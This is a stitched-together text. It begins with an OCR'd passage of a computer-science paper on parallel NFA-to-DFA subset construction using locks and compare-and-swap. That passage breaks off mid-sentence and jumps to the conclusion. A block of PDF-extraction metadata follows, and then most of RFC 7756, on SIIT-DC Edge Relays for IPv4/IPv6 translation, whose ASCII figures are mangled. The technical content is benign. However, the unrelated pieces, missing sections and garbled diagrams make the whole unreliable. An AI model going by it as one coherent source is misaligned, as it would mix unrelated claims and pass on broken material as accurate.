4 & 0 & 1 & 2 & 4 & 8 & \cdots \\
\hline
\end{tabular}
\caption{Thread-local store of DFA states. The union of all workers’ DFA states constitutes the \textit{Dstates} set (see line 1 of Algorithm 1).}
\end{table}
After computing a potentially new DFA state in its thread-local store, a worker needs to determine whether the DFA state is allowed to be added to $Dstates$. As the first step of this decision, the thread performs the set membership test. Once it confirms that no identical DFA state has been added yet, it updates the next empty slot in $Dstates$.
Because $Dstates$ allows access from any worker at any time, the set membership test followed by the subsequent pointer update is subject to potential race conditions. We will discuss three synchronization methods in the following section.
5 Synchronization and Termination
We are facing two synchronization problems: how to avoid race conditions with workers entering DFA states in the $Dstates$ array, and when to terminate workers.
5.1 Synchronizing $Dstates$ Updates
The first synchronization issue is due to the adding of DFA states to $Dstates$. We suggest three ways to synchronize access to the $Dstates$ array: using a coarse-grained lock, a fine-grained lock, and making the algorithm non-blocking by guarding access to the $Dstates$ array through a CAS instruction. CAS compares a data item in memory with a previous value $A$ and replaces it with a newly provided value $B$, only if the data item has not been updated by another thread. I.e., the data item’s value in memory is identical with $A$ (Herlihy & Shavit 2008). We use mutexes from the Pthread library for all lock-based synchronization and GCC’s intrinsics for CAS operations.
Using a coarse-grained lock is a naive way to protect $Dstates$. Once a worker finds a new DFA state, it tries to acquire the mutex which is protecting $Dstates$. If successful, it performs the set membership test to confirm that its DFA state is not a duplicate of an existing DFA state in $Dstates$. During the whole set membership test, no other worker is allowed to update $Dstates$. After the set membership test, no matter the addition has been allowed or rejected, the worker thread releases the mutex.
A fine-grained lock, compared to the coarse-grained one, helps reducing the waiting time for worker threads waiting for acquiring the $Dstates$ lock. The major factor which distinguishes this method from the previous one is that this time, during the set membership test, the lock for $Dstates$ needs not be held by a worker thread. Instead, right after the worker thread finishes the set membership test and determines that no identical state exists in $Dstates$ so far, it acquires the $Dstates$ lock, and begins the set membership test again, from the point where it has stopped the test before locking $Dstates$ until the newest element in $Dstates$. This second set membership test is for compensating a potential race condition that workers face after finishing the set membership test and before locking $Dstates$. Within this short time period, another thread might add a DFA state to $Dstates$. If this happens, the empty entry found by the previous thread is taken and the set membership test must be continued.
The final synchronization method does not lock $Dstates$: instead, it makes $Dstates$ a concurrent data structure (Shavit 2011) by employing a CAS instruction. First, this method goes through the set membership test without locking $Dstates$ as done when using a fine-grained lock. This time, however, we do not protect $Dstates$ even after the worker thread has finished the set membership test. Instead, after finding the first empty entry in the $Dstates$ array, it attempts to add the DFA state by executing a CAS instruction.
Algorithm 3: Access to $Dstates$ guarded by CAS instruction
<table>
<thead>
<tr>
<th>Line</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>while !CAS ($Dstates entry[i]$, NULL, DFA state) do</td>
</tr>
<tr>
<td>2</td>
<td>if DFA State Equality Test ($Dstates entry[i]$, DFA state) then</td>
</tr>
<tr>
<td>3</td>
<td>L return False;</td>
</tr>
<tr>
<td>4</td>
<td>++i;</td>
</tr>
<tr>
<td>5</td>
<td>// At this point:</td>
</tr>
<tr>
<td>6</td>
<td>// $Dstates entry[i] = DFA state</td>
</tr>
<tr>
<td>7</td>
<td>return True;</td>
</tr>
</tbody>
</table>
Algorithm 3 shows the basic concept of the non-blocking implementation using CAS. This form of execution confirms that only if the $Dstates$ entry is empty, then the DFA state will be added there. It should be noted that after a failed CAS instruction, the set membership test must be continued, similar to our fine-grained locking method. Because we never delete entries in the $Dstates$ set, the ABA-problem (see, e.g., (Herlihy & Shavit 2008)) does not apply.
5.2 Terminating Condition
The second problem is to decide when to make worker threads terminate. As stated in Algorithm 1, subset construction is supposed to terminate when no more new DFA states are added to $Dstates$. This implies that we need to enable the worker threads to determine when it is guaranteed that no new DFA state will appear anymore. If a worker thread cannot find any new DFA state, it needs to observe other threads if any of them is still processing DFA states. If it turns out that all workers have processed all DFA states, then it is safe for a worker to terminate.
To maintain the status of each worker thread wrt. processing of DFA states in $Dstates$, we use one status array per worker. In a worker’s status array $L$, a worker keeps track how far it progressed in processing the DFA states in $Dstates$. The $n$th entry of status array $L$ represents a worker’s status wrt. the $n$th DFA state in $Dstates$.
Entries in the status array can have three values: $NoAccessed$, $Processing$ and $Finished$. $NoAccessed$ denotes the status that the worker thread has not begun to process the DFA state: Following the expression used in Algorithm 1, this DFA state has not been marked by this worker thread yet. Right after a worker begins processing within the while loop stated in line 3 of Algorithm 1 with the $n$th DFA state, it marks $L[n]$ as $Processing$: if it finishes the work, it sets $L[n]$ to $Finished$.
Now let us assume that a worker thread finds there is no new DFA state in $Dstates$ after pro-
cessing the nth DFA state, i.e., the \((n+1)\)th entry in the \(D\) states array is empty. Then it observes the \(L/n\) status values of the other workers: if any of the workers has not set its \(L/n\) status value as \(\text{finished}\) yet, then the idle worker needs to wait for a new DFA state to appear in the \(n+1\) slot of \(D\) states. However, once all workers have set \(L/n\) to \(\text{finished}\) and no DFA state appeared in slot \(n+1\) of \(D\) states, it is safe for all workers to terminate. It should be noted that workers write the \(\text{Finished}\) flag to the status array \(\text{after}\) they have entered a new DFA state to the \(D\) states array.
### 6 Experimental Results
We demonstrate that our implementation of the sequential subset construction shows reasonable performance, compared to related tools. We chose the Grail tool by Raymond & Wood (1995) as our yardstick. Grail is a formal language toolbox which already provides a sequential version of the subset construction algorithm.
To determine the scalability of our parallel subset construction algorithm, we have conducted experiments on a 4-CPU (40 cores) shared memory node of the Intel Manycore Testing Lab. The POSIX thread library (see, e.g., Butenhof (1997)) has been used for worker threads and mutexes. We compared the scalability of two groups of NFAs that differ in their density, to show that density affects scalability.
Finally, we conducted experiments for all three \(D\) states synchronization mechanisms: using a coarse-grained lock, a fine-grained lock, and the non-blocking method. We compare the efficiency of each method and we discuss the obtained results.
All execution times have been determined by reading the elapsed clock ticks from the x86 timestamp counter register (Paoloni 2010).
#### 6.1 Performance Comparison with Grail
To confirm that our data-structures are efficient even for the sequential case, we compared our subset construction implementation to Grail. We used version 3.0 of the Grail code from the Grail+ Project Web Site (retrieved Aug. 2012), and we revised it to compile with g++ version 4.1.2. The performance comparison of a sequential version of our subset construction implementation with Grail is depicted in Figure 2.
The \(y\) axis represents relative time spent: we set the spent time for computing a 20-symbol automaton as 1. Thus, if the time spent for computing automata with \(x\) symbols takes five times longer than that of the 20-symbol automaton, the spent time for computing \(x\) is noted as 5. The number of states has been fixed to 20. This experiment has been conducted on an Intel Xeon E5405 CPU running Linux. As the NFA size increases, the performance gap increases remarkably: this implies that our NFA and DFA representations are efficient even with large NFAs.
#### 6.2 Automata Density vs. Scalability
For this experiment, we have classified the NFA samples based on their density. In particular, we considered two groups of density 0.3 and 0.4, respectively. We observed the speedups gained with both groups. As depicted in Figure 3, there is a clear gap in scalability between those two groups. We conjectured that this is related to properties of the DFAs converted from NFAs through our algorithm. In particular, we investigated the number and sizes of DFA states, as shown in Figure 5.


of symbols and \( t \) denote the temporary number of transitions. The NFA random generator computes the temporary number of transitions as
\[
t = dn^2k - (n - 1).
\]
The final number of transitions is determined by adding a small random factor to \( t \). This formula suggests that if the number of states and symbols are not changed, as the density increases, the number of transitions also increases. As a result, each state gets more reachable states on average. From Algorithm 1, we can infer that if such an automaton undergoes subset construction, the average DFA state size would increase. Now we will show that this increment leads to a decrease in the number of DFA states. For an NFA, let \( Q \) denote the set of states. Then DFA states are subsets of \( Q \). Let \( n = |Q| \) and \( m \) the average DFA state size. Then we may approximate the number of possible DFA states by \( \binom{n}{m} \).

Figure 4 shows this tendency for \( n \) set to 20, and \( m \) ranging from 0 to \( n \). As we may consider the \( x \) axis as the average size of the DFA states, we can infer that within a certain range of the DFA size, the number of DFA states would increase as the size increases, while the tendency could be reversed in some other range.
The DFAs from our experiment clearly follow this trend, as Figure 5 shows. To mitigate the effect of a few outliers, we have taken the median of the sample data instead of an arithmetic mean. The sizes and the number of DFA states collected from our NFA samples clearly match the approach suggested in Figure 4, which claims that between the average DFA state size of 14 to 16, the number of DFA states will decrease. This eventually reduces the amount of computation in the subset construction, which negatively affects the scalability as observed in Figure 3: compared to Figure 3(a), Figure 3(b) shows a clear performance degradation.
### 6.3 Comparing Scalability of the Three Synchronizing Methods
Figure 6 compares the scalability test results from three different versions of the parallelized algorithms: using a coarse-grained lock, a fine-grained one, and the non-blocking mechanism. The graph clearly shows that using a coarse-grained lock causes severe serialization as the number of cores increases. With the coarse-grained lock, the set membership test is performed while holding the \( Dstates \) lock. Thus, while a worker thread is doing the set membership test for a newly found DFA state, other threads who want to add their DFA states cannot proceed, which serializes the algorithm.
On the contrary, the parallelized algorithms which used a fine-grained lock and the non-blocking mechanism show good scalability. Both algorithms show a similar tendency, because their strategies to protect \( Dstates \) are fundamentally similar to each other: they both let each worker thread perform the set membership test without locking \( Dstates \), and once a worker finds an empty entry to add its DFA state, it begins the second test to confirm that it is safe to do the addition. What we need to focus here is that the most time-consuming part is the first set membership test, not the second one. Thus, this part affects on the whole processing time.
Both algorithms, i.e., using a fine-grained lock and the non-blocking mechanism, show an important phenomenon: Around 30 cores, the scalability becomes imperfect: this is due to the non-parallelized part of the algorithm, such as computing an epsilon-closure, the set equality test performed as a single step of the set membership test, etc. As the number of cores increases, time spent for the parallelized part decreases, but the non-parallelized part remains. In our experiment, this

We have parallelized the subset construction algorithm, which is used to convert non-deterministic finite automata (NFAs) to deterministic finite automata (DFAs). We have discussed sources of parallelism in the sequential algorithm, and critically evaluated their profitability on shared-memory multicore architectures. Data-structures for NFAs and DFAs have been chosen to improve scalability and keep communication and synchronization overhead to a minimum. Three different ways of synchronization have been implemented. The performance of our non-blocking synchronization based on a compare-and-swap (CAS) primitive compares favorably to a lock-based approach. We have shown that the amount of work and hence the scalability of parallel subset construction depends on the number of DFA states, which is related to automata density. We demonstrate the efficiency of our parallel subset construction algorithm through several benchmarks run on a 4-CPU (40 cores) node of the Intel Manycore Testing Lab. Achieved speedups are up to a factor of 32x with 40 cores.
9 Acknowledgements
Our research has been partially supported by the National Research Foundation of Korea (NRF) grant funded by the Korea government (MEST) (No. 2010-0005234), and the OKAWA Foundation Research Grant (2009).
References
|
{"Source-Url": "http://crpit.com/confpapers/CRPITV140Choi.pdf", "len_cl100k_base": 6976, "olmocr-version": "0.1.49", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 30509, "total-output-tokens": 8749, "length": "2e12", "weborganizer": {"__label__adult": 0.0004487037658691406, "__label__art_design": 0.00048232078552246094, "__label__crime_law": 0.0005464553833007812, "__label__education_jobs": 0.0006732940673828125, "__label__entertainment": 0.00011664628982543944, "__label__fashion_beauty": 0.0002321004867553711, "__label__finance_business": 0.0003273487091064453, "__label__food_dining": 0.0004382133483886719, "__label__games": 0.0009608268737792968, "__label__hardware": 0.002849578857421875, "__label__health": 0.0007648468017578125, "__label__history": 0.0004420280456542969, "__label__home_hobbies": 0.0001538991928100586, "__label__industrial": 0.0008516311645507812, "__label__literature": 0.00034737586975097656, "__label__politics": 0.0004625320434570313, "__label__religion": 0.0007710456848144531, "__label__science_tech": 0.1539306640625, "__label__social_life": 9.745359420776369e-05, "__label__software": 0.007663726806640625, "__label__software_dev": 0.82568359375, "__label__sports_fitness": 0.0004100799560546875, "__label__transportation": 0.0008616447448730469, "__label__travel": 0.00026702880859375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 33984, 0.02833]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 33984, 0.21854]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 33984, 0.87338]], "google_gemma-3-12b-it_contains_pii": [[0, 4479, false], [4479, 9180, null], [9180, 14871, null], [14871, 20833, null], [20833, 24410, null], [24410, 28382, null], [28382, 31194, null], [31194, 33984, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4479, true], [4479, 9180, null], [9180, 14871, null], [14871, 20833, null], [20833, 24410, null], [24410, 28382, null], [28382, 31194, null], [31194, 33984, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 33984, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 33984, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 33984, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 33984, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 33984, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 33984, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 33984, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 33984, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 33984, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 33984, null]], "pdf_page_numbers": [[0, 4479, 1], [4479, 9180, 2], [9180, 14871, 3], [14871, 20833, 4], [20833, 24410, 5], [24410, 28382, 6], [28382, 31194, 7], [31194, 33984, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 33984, 0.13665]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
3c6485c94d5bcef29c210f413eefe768d94c6dc9
|
Stateless IP/ICMP Translation for IPv6 Internet Data Center Environments (SIIT-DC): Dual Translation Mode
Abstract
This document describes an extension of the Stateless IP/ICMP Translation for IPv6 Internet Data Center Environments (SIIT-DC) architecture, which allows applications, protocols, or nodes that are incompatible with IPv6 and/or Network Address Translation to operate correctly with SIIT-DC. This is accomplished by introducing a new component called an SIIT-DC Edge Relay, which reverses the translations made by an SIIT-DC Border Relay. The application and/or node is thus provided with seemingly native IPv4 connectivity that provides end-to-end address transparency.
The reader is expected to be familiar with the SIIT-DC architecture described in RFC 7755.
Status of This Memo
This document is not an Internet Standards Track specification; it is published for informational purposes.
This document is a product of the Internet Engineering Task Force (IETF). It represents the consensus of the IETF community. It has received public review and has been approved for publication by the Internet Engineering Steering Group (IESG). Not all documents approved by the IESG are a candidate for any level of Internet Standard; see Section 2 of RFC 5741.
Information about the current status of this document, any errata, and how to provide feedback on it may be obtained at http://www.rfc-editor.org/info/rfc7756.
Copyright Notice
Copyright (c) 2016 IETF Trust and the persons identified as the document authors. All rights reserved.
This document is subject to BCP 78 and the IETF Trust’s Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.
Table of Contents
1. Introduction ........................................... 3
2. Terminology ........................................... 3
3. Edge Relay Description ................................. 5
3.1. Node-Based Edge Relay ............................... 6
3.2. Network-Based Edge Relay ............................ 7
3.2.1. Edge Relay "on a Stick" ......................... 8
3.2.2. Edge Relay That Bridges IPv6 Packets .......... 9
4. Deployment Considerations ............................... 9
4.1. IPv6 Path MTU ....................................... 9
4.2. IPv4 MTU ........................................... 10
4.3. IPv4 Identification Header ......................... 10
5. Intra-IDC IPv4 Communication ............................ 10
5.1. Hairpinning by the SIIT-DC Border Relay ............ 11
5.2. Additional EAMs Configured in Edge Relay .......... 12
6. Security Considerations ................................. 13
7. References ............................................. 14
7.1. Normative References ............................... 14
7.2. Informative References ............................. 14
Appendix A. Examples: Network-Based IPv4 Connectivity ...... 16
A.1. Subnet with IPv4 Service Addresses ............... 16
A.2. Subnet with Unrouted IPv4 Addresses ............... 16
Acknowledgements ........................................... 17
Authors’ Addresses ........................................... 17
1. Introduction
SIIT-DC [RFC7755] describes an architecture where IPv4-only users can access IPv6-only services through a stateless translator called an SIIT-DC Border Relay (BR). This approach has certain limitations, however. In particular, the following cases will work poorly or not at all:
- Application protocols that do not support NAT (i.e., the lack of end-to-end transparency of IP addresses).
- Nodes that cannot connect to IPv6 networks at all or that can only connect such networks if they also provide IPv4 connectivity (i.e., dual-stacked networks).
- Application software that makes use of legacy IPv4-only APIs or otherwise makes assumptions that IPv4 connectivity is available.
By extending the SIIT-DC architecture with a new component called an Edge Relay (ER), all of the above can be made to work correctly in an otherwise IPv6-only network environment using SIIT-DC.
The purpose of the ER is to reverse the IPv4-to-IPv6 packet translations previously done by the BR for traffic arriving from IPv4 clients and forward this as "native" IPv4 to the node or application. In the reverse direction, IPv4 packets transmitted by the node or application are intercepted by the ER, which translates them to IPv6 before they are forwarded to the BR, which in turn will reverse the translations and forward them to the IPv4 client. The node or application is thus provided with "virtual" IPv4 Internet connectivity that retains end-to-end transparency for the IPv4 addresses.
2. Terminology
This document makes use of the following terms:
SIIT-DC Border Relay (BR):
A device or a logical function that performs stateless protocol translation between IPv4 and IPv6. It MUST do so in accordance with [RFC6145] and [RFC7757].
SIIT-DC Edge Relay (ER):
A device or logical function that provides "native" IPv4 connectivity to IPv4-only devices or application software. It is very similar in function to a BR but is typically located close to the IPv4-only component(s) it is supporting rather than on the outer network border of the Internet Data Center (IDC). An ER may be either node based (Section 3.1) or network based (Section 3.2).
IPv4 Service Address:
An IPv4 address representing a node or service located in an IPv6 network. It is coupled with an IPv6 Service Address using an Explicit Address Mapping (EAM). Packets sent to this address are translated to IPv6 by the BR, and possibly back to IPv4 by an ER, before reaching the node or service.
IPv6 Service Address:
An IPv6 address assigned to an application, node, or service either directly or indirectly (through an ER). It is coupled with an IPv4 Service Address using an EAM. IPv4-only clients communicate with the IPv6 Service Address through SIIT-DC.
Explicit Address Mapping (EAM):
A bidirectional coupling between an IPv4 Service Address and an IPv6 Service Address configured in a BR or ER. When translating between IPv4 and IPv6, the BR/ER changes the address fields in the translated packet’s IP header according to any matching EAM. The EAM algorithm is specified in [RFC7757].
Translation Prefix:
An IPv6 prefix into which the entire IPv4 address space is mapped, according to the algorithm in [RFC6052]. The translation prefix is routed to the BR’s IPv6 interface. When translating between IPv4 and IPv6, a BR/ER will insert/remove the translation prefix into/from the address fields in the translated packet’s IP header, unless an EAM exists for the IP address that is being translated.
IPv4-Converted IPv6 Addresses:
As defined in Section 1.3 of [RFC6052].
IDC:
Short for "Internet Data Center"; a data center whose main purpose is to deliver services to the public Internet. SIIT-DC is primarily targeted at being deployed in an IDC. An IDC is typically operated by an Internet Content Provider or a Managed Services Provider.
SIIT: The Stateless IP/ICMP Translation Algorithm, as specified in [RFC6145].
XLAT: Short for "Translation". Used in figures to indicate where a BR/ER uses SIIT [RFC6145] to translate IPv4 packets to IPv6 and vice versa.
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in [RFC2119].
3. Edge Relay Description
An ER is at its core an implementation of the Stateless IP/ICMP Translation Algorithm [RFC6145] that supports Explicit Address Mappings [RFC7757]. It provides virtual IPv4 connectivity for nodes or applications that require this to operate correctly with SIIT-DC.
Packets from the IPv4 Internet destined for an IPv4 Service Address are first translated to IPv6 by a BR. The resulting IPv6 packets are subsequently forwarded to the ER that owns the IPv6 Service Address the translated packets are addressed to. The ER then translates them back to IPv4 before forwarding them to the IPv4 application or node. In the other direction, the exact same translations happen, only in reverse. This process provides end-to-end transparency of IPv4 addresses.
An ER may handle an arbitrary number of IPv4/IPv6 Service Addresses. All the EAMs configured in the BR that involve the IPv4/IPv6 Service Addresses handled by an ER MUST also be present in the ER’s configuration.
An ER may be implemented in two distinct ways: as a software-based service residing inside an otherwise IPv6-only node or as a network-based service that provides an isolated IPv4 network segment to which nodes that require IPv4 can connect. In both cases, native IPv6 connectivity may be provided simultaneously with the virtual IPv4 connectivity. Thus, dual-stack connectivity is facilitated in case the node or application supports it.
The choice between a node- or network-based ER is made on a per-service or per-node basis. An arbitrary number of each type of ER may co-exist in an SIIT-DC architecture.
This section describes the different approaches and discusses which approach fits best for the various use cases.
3.1. Node-Based Edge Relay
[IPv4 Internet] [IPv6 Internet]
+-----+-----+
| (BR/XLAT) |
+-----+-----+
[IPv6-only IDC network] +-----<IPv6-only node/server>---------+
\-----------------------+/--(ER/XLAT)--AF_INET Dual-stack application |
\-----------------------+\--------------------------+ AF_INET6 software +
+-----------------------+
Figure 1: A Node-Based Edge Relay
A node-based ER is typically implemented as a logical software function that runs inside the operating system of an IPv6 node. It provides applications running on the same node with IPv4 connectivity. Its IPv4 Service Address SHOULD be considered a regular local address that allows applications running on the same node to use it with IPv4-only API calls, e.g., to create AF_INET sockets that listen for and accept incoming connections to its IPv4 Service Address. An ER may accomplish this by creating a virtual network adapter to which it assigns the IPv4 Service Address and points a default IPv4 route. This approach is similar to the "Bump-in-the-Stack" approach discussed in [RFC6535]; however, it does not include an Extension Name Resolver.
As shown in Figure 1, if the application supports dual-stack operation, IPv6 clients will be able to communicate with it directly using native IPv6. Neither the BR nor the ER will intercept this communication. Support for IPv6 in the application is, however, not a requirement; the application may opt not to establish any IPv6 sockets. Foregoing IPv6 in this manner will simply preclude connectivity to the service from IPv6-only clients; connectivity to the service from IPv4 clients (through the BR) will continue work in the same way.
The ER requires a dedicated IPv6 Service Address for each IPv4 Service Address it has configured. The IPv6 network MUST forward traffic to these IPv6 Service Addresses to the node, whose operating system MUST in turn forward them to the ER. This document does not attempt to fully explore the multitude of ways this could be accomplished; however, considering that the IPv6 protocol is designed for having multiple addresses assigned to a single node, one particularly straight-forward way would be to assign the ER’s IPv6
Service Addresses as secondary IPv6 addresses on the node itself so that the upstream router learns of their location using the IPv6 Neighbor Discovery Protocol [RFC4861].
3.2. Network-Based Edge Relay
[IPv4 Internet] [IPv6 Internet]
| |
+-----|-----+ |
| (BR/XLAT) |
+-----|-----+ |
| (IPv6-only IDC network) +--<IPv4-only node/server>--+
| | |---------|-----|-----|-----|
| [IPv6-only IDC network] +-----|-----+ | IPv4-only |
| | [v4-only] | | | |
| | (ER/XLAT)----[network]-------AF_INET application |
| | [segment] | | software |
| | | | |
| | | | |
| +---------------------------+ |
| | Figure 2: A Basic Network-Based Edge Relay |
A network-based ER functions the exact same way as a node-based ER does, only that instead of assigning the IPv4 Service Addresses to an internal-only virtual network adapter, traffic destined for them are forwarded onto a network segment to which nodes that require IPv4 connectivity connect to. The ER also functions as the default IPv4 router for the nodes on this network segment.
Each node on the IPv4 network segment MUST acquire and assign an IPv4 Service Address to a local network interface. While this document does not attempt to explore all the various methods by which this could be accomplished, some examples are provided in Appendix A.
The basic ER illustrated in Figure 2 establishes an IPv4-only network segment between itself and the IPv4-only nodes it serves. This is fine if the nodes it provides IPv4 access to have no support for IPv6 whatsoever; however, if they are dual-stack capable, it would not be ideal to take away their IPv6 connectivity in this manner. While it is RECOMMENDED to use a node-based ER in this case, appropriate implementations of a node-based ER might not be available for every node. If the application protocol in question does not work correctly in a NAT environment, standard SIIT-DC cannot be used either, which leaves a network-based ER as the only remaining solution. The following subsections contain examples on how the ER could be implemented in a way that provides IPv6 connectivity for dual-stack capable nodes.
3.2.1. Edge Relay "on a Stick"
```
[IPv4 Internet] [IPv6 Internet]
+-----|-----+ |
| (BR/XLAT) | |
+-----|-----+ |
[IPv6-only IDC network]
+-------------------+
| |
| _IPv6_ |
| / |
| ===== (ER/XLAT) |
| | \ _ _/ |
| | IPv4 |
| +-------------------+
| | /---AF_INET Dual-stack application |
| | \--AF_INET6 software |
+-------------------+
[Dual-stack network segment]----<Dual-stack node/server>---+
```
Figure 3: A Network-Based Edge Relay "on a Stick"
The ER "on a stick" approach illustrated in Figure 3 ensures that the dual-stack capable node retains native IPv6 connectivity by connecting the ER’s IPv4 and IPv6 interfaces to the same network segment, alternatively by using a single dual-stacked interface. Native IPv6 traffic between the IDC network and the node bypasses the ER entirely, while IPv4 traffic from the node will be routed directly to the ER (because it acts as its default IPv4 router), where it is translated to IPv6 before being transmitted to the upstream default IPv6 router. The ER could attract inbound traffic to the IPv6 Service Addresses by responding to the upstream router’s IPv6 Neighbor Discovery [RFC4861] messages for them.
3.2.2. Edge Relay That Bridges IPv6 Packets

Figure 4: A Network-Based Edge Relay Containing an IPv6 Bridge
The ER illustrated in Figure 4 will transparently bridge IPv6 frames between its upstream and downstream interfaces. IPv6 packets sent from the upstream IDC network to an IPv6 Service Address are intercepted by the ER (e.g., by responding to IPv6 Neighbor Discovery [RFC4861] messages for them) and routed through the translation function before being forwarded out the ER’s downstream interface as IPv4 packets. The downstream network segment thus becomes dual stacked.
4. Deployment Considerations
4.1. IPv6 Path MTU
The IPv6 Path MTU between the ER and the BR will typically be larger than the default value defined in Section 4 of [RFC6145] (1280 bytes), as it will typically be contained within a single administrative domain. Therefore, it is RECOMMENDED that the IPv6 Path MTU configured in the ER be raised accordingly. It is RECOMMENDED that the ER and the BR use identical configured IPv6 Path MTU values.
4.2. IPv4 MTU
In order to avoid IPv6 fragmentation, an ER SHOULD ensure that the IPv4 MTU used by applications or nodes is equal to the configured IPv6 Path MTU - 20 so that a maximum-sized IPv4 packet can fit in an unfragmented IPv6 packet. This ensures that the application may do its part in avoiding IP-level fragmentation from occurring, e.g., by segmenting/fragmenting outbound packets at the application layer, and advertising the maximum size its peer may use for inbound packets (e.g., through the use of the TCP Maximum Segment Size (MSS) option).
A node-based ER could accomplish this by configuring this MTU value on the virtual network adapter, while a network-based ER could do so by advertising the MTU to its downstream nodes using the DHCPv4 Interface MTU option [RFC2132].
4.3. IPv4 Identification Header
If the generation of IPv6 Atomic Fragments is disabled, the value of the IPv4 Identification header will be lost during the translation. Conversely, enabling the generation of IPv6 Atomic Fragments will ensure that the IPv4 Identification header will be carried end to end. Note that for this to work bidirectionally, IPv6 Atomic Fragment generation MUST be enabled on both the BR and the ER.
Apart from certain diagnostic tools, there are few (if any) application protocols that make use of the IPv4 Identification header. Therefore, the loss of the IPv4 Identification value will generally not cause any problems.
IPv6 Atomic Fragments and their impact on the IPv4 Identification header is further discussed in Section 4.9.2 of [RFC7755].
5. Intra-IDC IPv4 Communication
Although SIIT-DC is primarily intended to facilitate communication between IPv4-only nodes on the Internet and services located in an IPv6-only IDC network, an IPv4-only node or application located behind an ER might need to communicate with other nodes or services in the IDC. The IPv4-only node or application will need to go through the ER, as it will typically be incapable of contacting IPv6 destinations directly. The following subsections discuss various methods on how to facilitate such communication.
5.1. Hairpinning by the SIIT-DC Border Relay
If the BR supports hairpinning as described in Section 4.2 of [RFC7757], the easiest solution is to make the target service available through SIIT-DC in the normal way; that is, by provisioning an EAM to the BR that assigns an IPv4 Service Address with the target service’s IPv6 Service Address.
This allows the IPv4-only node or application to transmit packets destined for the target service’s IPv4 Service Address, which the ER will then translate to a corresponding IPv4-converted IPv6 address by inserting the translation prefix [RFC6052]. When this IPv6 packet reaches the BR, it will be hairpinned and transmitted back to the target service’s IPv6 Service Address (where it could possibly pass through another ER before reaching the target service). Return traffic from the target service will be hairpinned in the same fashion.
```
+--[Pkt#1: IPv4]--++ +--[Pkt#2: IPv6]----------+
| SRC 192.0.2.1 | (XLAT#1) | SRC 2001:db8:a:: |
| DST 192.0.2.2 |---@ ER A)--| DST 2001:db8:46::192.0.2.2 |---\
+---------------+ +----------------------------+
Figure 5: Hairpinned IPv4-IPv4 Packet Flow
```
Figure 5 illustrates the flow of a hairpinned packet sent from the IPv4-only node/app behind ER A towards an IPv6-only node/app behind ER B. ER A is configured with the EAM {192.0.2.1,2001:db8:a::} and ER B with {192.0.2.2,2001:db8:b::}. The BR is configured with both EAMs and supports hairpinning. Note that if the target service had not been located behind an ER, the third and final translation (XLAT#3) would not have happened, i.e., the target service/node would have received and responded to packet #3 directly.
If the IPv4-only nodes/services do not need connectivity with the public IPv4 Internet, private IPv4 addresses [RFC1918] could be used as their IPv4 Service Addresses in order to conserve the IDC operator’s pool of public IPv4 addresses.
5.2. Additional EAMs Configured in Edge Relay
If the BR does not support hairpinning, or if the hairpinning solution is not desired for some other reason, intra-IDC IPv4 traffic may be facilitated by configuring additional EAMs on the ER for each service the IPv4-only node or application needs to communicate with. This makes the IPv6 traffic between the ER and the target service’s IPv6 Service Address follow the direct path through the IPv6 network. The traffic does not pass the BR, which means that this solution might yield better latency than the hairpinning approach.
The additional EAM configured in the ER consists of the target’s IPv6 Service Address and an IPv4 Service Address. The IPv4-only node or application will contact the target’s assigned IPv4 Service Address using its own IPv4 Service Address as the source. The ER will then proceed to translate the original IPv4 packet to an IPv6 packet. The source address of the resulting IPv6 packet will be the IPv6 Service Address of the local node or application, while the destination address will be the IPv6 Service Address of the target. Any replies from the target will undergo identical translation, only in reverse.
If the target service is located behind another ER, that other ER MUST also be provisioned with an additional EAM that contains the IPv4 and IPv6 Service Addresses of the origin IPv4-only node or application. Otherwise, the target service’s ER will be unable to translate the source address of the incoming packets.
```
+--[Pkt#1: IPv4]+ +--[Pkt#2: IPv6]---+
| SRC 192.0.2.1 | (XLAT#1) | SRC 2001:db8:a:: |
| DST 192.0.2.2 | (--(@ ER A)-->) DST 2001:db8:b:: |
+---------------+ +------------------+
| + +
| | |
+--[Pkt#3: IPv4]+ +
| SRC 192.0.2.1 | (XLAT#2) |
| DST 192.0.2.2 <--------(@ ER B)------/ |
+---------------+
```
Figure 6: Non-hairpinned IPv4-IPv4 Packet Flow
Figure 6 illustrates the flow of a packet carrying intra-IDC IPv4 traffic between two IPv4-only nodes/applications that are both located behind ERs. Both ER A and ER B are configured with two EAMs: {192.0.2.1,2001:db8:a::} and {192.0.2.2,2001:db8:b::}. The packet will follow the regular routing path through the IPv6 IDC network; the BR is not involved, and the packet will not be hairpinned.
